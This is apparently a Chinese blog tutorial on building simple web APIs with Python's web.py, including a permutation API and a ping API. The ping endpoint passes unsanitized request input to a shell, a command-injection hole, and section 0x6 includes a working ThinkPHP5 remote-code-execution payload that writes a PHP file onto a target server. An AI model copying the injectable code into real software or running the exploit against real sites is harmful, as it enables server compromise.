苦于 村长 的催稿,我又开始了我的水稿之旅,我尽我所能的将文章质量提高,但奈何,总感觉拿出手不像事儿,太水了。
阅读本文前,你需要:
有一定的 Python3 基础。
当然也可以不需要有,我个人对于 信息安全从业人员 在 开发 时的理解是这样的:
“正确的信息检索加上一颗善于理解的心会使你不会任何一门语言也能写出自己想要的功能”
因为我天某人,自我感觉不会任何一门编程语言,因为我从未系统化的学习过编程语言。
一颗想要了解最简单的 api 咋开发的心!
对于这篇文章来讲,这是你必须要有的!
0x1: 导语
看着互联网上各种各样的API接口,我是十分的羡慕(因为收费),但奈在我的字典里有一个词叫做 “白嫖” ,于是在经过简单的上网进行信息检索后,我选择了最简单的 Python3 Web.py 库 作为入门学习,并实现一些小功能,我尽量将本文写成我理解详细!因为最近 肺炎猖獗 ,导致我 “被困” 在老家,但我挺喜欢这样被困,提醒各位能不出门就不出门,如要出门,请记得一定要全副武装!
0x2: 开发环境
开发环境:
系统:安卓10
工具:Termux
编辑器:vim
语言:Python3
上传方法:ftp协议
调试环境:
系统:Windows2008(阿里云)
环境:Python3.7.6 + Web.py
对于我这个开发环境的说明:因为老家处于山区,网速极度不好,电脑基本用不上(电脑电源有要求,没地方充电),于是我只有一部手机,加上我还有一台阿里云的win服务器,于是影响也便不是很大了,但我更建议你们要使用最合适自己的开发环境,在win环境可以选择 VS Code 等编辑器来开发。
0x3: 如何安装运行环境
服务器端安装示例(Windows 2008):
Python3环境的安装:
对于 Python3 的安装,你只需要到官网下载适合你的安装包安装即可!
如果你下载的是 ZIP 包,请自己配置好环境变量,如果你是下载的 **可视化安装程序** ,请记得勾选添加环境变量选项!
Web.py 库的安装:
在开始安装之前,请记得在 PowerShell 里执行下面的命令,我们需要先升级 pip ,升级命令大概长这样:
pip install --upgrade pip
在升级完成后,便可以开始安装我们需要的Web库了。
pip install web.py
0x4: 如何编写
如同众多编程语言一般,我们先来写个 HelloWord:
文件名:sever.py
#-*- coding:utf-8 -*-
import web #导入web库
#URL控制
urls = (
#访问index的时候,执行index方法
'/index(.*)', 'index',
)
#index方法
class index:
def GET(self, text):
index = "hello word!"
return index
#主函数开始
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
接着我们指定端口执行这个脚本:
python sever.py 80
此时,我们访问:127.0.0.1:80,应该在浏览器中能看到这样的内容
hello word!
这就满足了吗?不,最起码,得有个漂亮的样式,但是经过我简单的百度,到处找模板的方法 web.py 提供的方法太麻烦了,于是,我们可以这样:
请注意,此刻我们不需要去暂停控制台,可以直接去修改代码后刷新浏览器就好了!
先在跟 sever.py 同一目录下创建 index.html,这个html里的文件自己想写啥就写啥,然后我们修改代码:
#index方法
class index:
def GET(self, text):
index = open("./index.html", 'r',encoding="utf-8")
index = index.read()
return index
接着再来刷新浏览器,就会发现,界面,变成了你想要的样子,这说明,html文件里的标签被渲染了。
0x5:如何开发api
有这样一道题:
给定这样几个字母:a,e,t ,请组成单词。
词汇量不如小学生的我稍加思索,写了这样的代码:
import sys
from itertools import permutations
def exhaustive_combination_def(exhaustive_combination):
b = ""
arr = exhaustive_combination.split(",")
for a in permutations(arr):
a = "".join(a)
b = b + a + ","
#print(a)
return b
if __name__ == "__main__":
i="a,e,t"
i=exhaustive_combination_def(i)
print(i)
执行后,我收获了结果:
aet,ate,eat,eta,tae,tea,
放到百度翻译,人生圆满了。
为了维护方便,我们 api 是一个 py 文件,sever 是一个文件,这样最好。
api.py
#-*- coding:utf-8 -*-
import sys
from itertools import permutations
def exhaustive_combination_def(exhaustive_combination):
b = ""
dzarr = exhaustive_combination.split(",")
for a in permutations(dzarr):
a = "".join(a)
b = b + a + ","
return b
sever.py
#-*- coding:utf-8 -*-
import web #导入web库
#从文件api.py中引用自定义函数:exhaustive_combination_def
from api import exhaustive_combination_def
#URL控制
urls = (
#访问index的时候,执行index方法
'/index(.*)', 'index',
#访问api_one,执行exhaustive_combination方法
'/api_one/(.*)', 'exhaustive_combination',
)
#exhaustive_combination方法
class exhaustive_combination:
#text接收的是get请求内容
def GET(self, text):
#变量 a 接收传回的返回值
a=exhaustive_combination_def(text)
#返回 a 的内容给浏览器
return a
index方法
class index:
def GET(self, text):
index = open("./index.html", 'r',encoding="utf-8")
index = index.read()
return index
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
访问地址:
http://127.0.0.1/api_one/a,e,t
成功在浏览器返回:
aet,ate,eat,eta,tae,tea,
这样一个简单的 API 就写好了。
你理解了大概的写法了吗?
这个时候,我们可以完全通过python写一个自己想要的 API
比如,我们来写一个返回 Ping 命令结果的:
ping.py
# -*- coding: utf-8 -*-
import subprocess
import re
def ping_url(url):
ping = subprocess.Popen(["ping.exe", url],
stdin = subprocess.PIPE,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE,
shell = True)
out = ping.stdout.read()
out = out.decode('gbk')
return out
sever.py
#-*- coding:utf-8 -*-
import web #导入web库
#从文件api.py中引用自定义函数:exhaustive_combination_def
from api import exhaustive_combination_def
#从文件ping.py中引用自定义函数:ping_url
from ping import ping_url
#URL控制
urls = (
#访问index的时候,执行index方法
'/index(.*)', 'index',
#访问api_one,执行exhaustive_combination方法
'/api_one/(.*)', 'exhaustive_combination',
#访问ping,执行ping方法
'/ping_api/(.*)','ping_api',
)
#ping方法
class ping_api:
def GET(self, text):
a = "<html><head><meta charset=\"utf-8\"><pre>"
b = ping_url(text)
c = "</pre></head></html>"
a = a + b + c
return a
#exhaustive_combination方法
class exhaustive_combination:
#text接收的是get请求内容
def GET(self, text):
#变量 a 接收传回的返回值
a=exhaustive_combination_def(text)
#返回 a 的内容给浏览器
return a
#index方法
class index:
def GET(self, text):
index = open("./index.html", 'r',encoding="utf-8")
index = index.read()
return index
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
访问:
http://127.0.0.1/ping_api/www.20191005.tech
成功返回内容:
正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 字节的数据:
来自 150.109.19.98 的回复: 字节=32 时间=949ms TTL=47
来自 150.109.19.98 的回复: 字节=32 时间=1111ms TTL=47
来自 150.109.19.98 的回复: 字节=32 时间=1162ms TTL=47
来自 150.109.19.98 的回复: 字节=32 时间=1156ms TTL=47
150.109.19.98 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 949ms,最长 = 1162ms,平均 = 1094ms
0x6:扩展设想
在编写工具时,我们很多时候用到的语言都是Python,当然更多时候,我们编写的一些图形化工具随着不断的流传,很容易流传到不法分子手中,我们完全可以通过这种 api 式的去开发工具,当工具流窜出去,我们要阻止不法分子的时候,可以直接在 服务器端 ban了他的ip 直接导致你的工具在他手中无法使用,或者直接改变接口参数导致不法分子的工具失效,当然为了安全性,可以加上一个基于接口的验证方案,来验证工具的使用者。

拿 thinkphp5 来做一个例子:
样例自定义函数:
#-*- coding:utf-8 -*-
import requests
import re
#命令执行
def thinkphp5_api(url):
poc = "?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"
filename ="name.php"
url = str(url + poc + filename)
try:
page = requests.get(url)
zhuangtia = page.status_code
qingqiutou = page.headers
a = "【*】请求状态:" + str(zhuangtia) + "\n【*】写入路径:" + filename + "\n【*】请求头:\n" + str(qingqiutou)
return a
except:
return "写入状态异常!"
实际效果:

这种方法我感觉非常便于控制工具的流通,你只需要通过指定你允许的 IP 可以访问到服务器 API ,就可以将工具放心的传给团队内的其他使用者!并且所有的验证是在服务器端发起的,别人以为你只有一个人,但是真实的情况是,你有一堆,你永远想不到坐在你屏幕对面是是怎么样的人才!
0x7:总结
当我再次去百度有哪些api框架后,发现使用 web.py 固然不是最好的选择,但是他作为入门,或者一些轻量级的api开发是完全够了的,在原始时代,人们就已经懂得如何制作工具来帮助自己,如果本文激发了你对工具或者api开发的想法,不妨去试一试!
对于Windows图形界面程序的开发,多种多样,你可以选择C# 的 WPF 或者 易语言,这两者对于图形界面的开发基本都是直接绘制,上手速度更加快速!